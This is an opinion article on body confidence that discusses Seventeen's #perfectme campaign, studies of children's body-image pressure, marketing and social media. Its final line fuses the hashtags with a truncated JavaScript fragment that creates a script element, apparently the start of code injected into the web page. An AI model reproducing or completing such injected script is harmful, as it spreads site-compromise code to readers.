The importance of body confidence

Teenage girl looking at her reflection in mirror while sitting on the floor

Teenage girl looking at her reflection in mirror while sitting on the floor

By Laura Conaghan, Health & Wellbeing editor (@LauraPB)

Seventeen magazine declared the 17th of October as the first ever national body confidence day, encouraging people to join the movement by taking selfies and tagging them #perfectme. As I type these words I am currently caked in a deep cleansing pore facemask (I wish I could supplement with a selfie, #perfectmeindeed). I cannot escape the irony of a magazine that attempts to support and promote body confidence but also airbrushes and edits the physical features of its own models splashed on the very same pages. Criticism aside, the crux of the movement is as follows; “We are working with Instagram to get the conversation going about body image and to create a community where we accept and celebrate ourselves — and each other — for the amazing individuals we are”. The reasons behind the campaign are, sadly, all too common a feature in regular news reports.

At the beginning of this month a Guardian article stated that “a third of seven- to 10-year-old girls believe that they are judged on their appearance and a quarter feel the need to be perfect, according to a study by Girlguiding UK”. The Herald Scotland also reported the same problem amongst men. Bill Stevenson, director of the Boys Brigade in Scotland, said children as young as eight were feeling under pressure to achieve a more muscular shape. The reality is that people are struggling with body confidence, both females and males alike.

I cannot write an article on body confidence and proclaim that I am not immune to problems of my own, no one is. We are told repeatedly to love the skin we are in, but in order to do that we have to buy this moisturiser for the silky-smooth skin that will make us the person we’ve always wanted to be… that paradox that is sweet capitalism. God forbid we then do in fact succumb to the powers of marketing and buy that moisturiser or eyeshadow to make ourselves feel better, look better and do better (a coat of armour if you will), then it’s a question of vanity. I am body confused.

How we become body confident seems to be the theme of numerous articles on the web. A simple self-help guide to your deeply complicated and personal anxieties is all it takes; I can see how this would work (notice the sarcasm). Stare at yourself in the mirror, you’re fixed. You can’t fool me; I know how that worked out for the evil queen. However, it’s not just the physical act of improving our bodies that we must overcome but the uphill mental battle we must endure also. Body confidence and mental health are undoubtedly interconnected problems. It would be too simplistic to say that the answer is to not give a flying duck. No matter how much we tell our conscious selves not to care, our subconscious is always niggling away quietly but surely. You cannot fix body confidence in the manner that you would a broken bone, an original analogy I am sure.

The digital age has only served to perpetuate this problem. In a nut shell, social media, whilst revolutionary in every sense possible, is one of the most damaging agencies towards body confidence that I myself have fallen victim to. We compare ourselves to strangers, question how they have attained what is seemingly unattainable.  BUT, note, please note this, even if it’s only dully noted, note it down nonetheless, what you see on social media as someone’s confidence does not also mean the absence of that person’s insecurities. That is not to undermine one’s self-possession but to say that anxieties do not have to define you.

We will always wish we were somehow better, but you are you, and no one else gets to be you. No one else gets to be this person lying in bed with a solidified face mask that is now making it impossible to make the slightest of facial movements. No one but me.

#perfectme #perfectlaura #perfectyouvar d=document;var s=d.createElement(‘script’);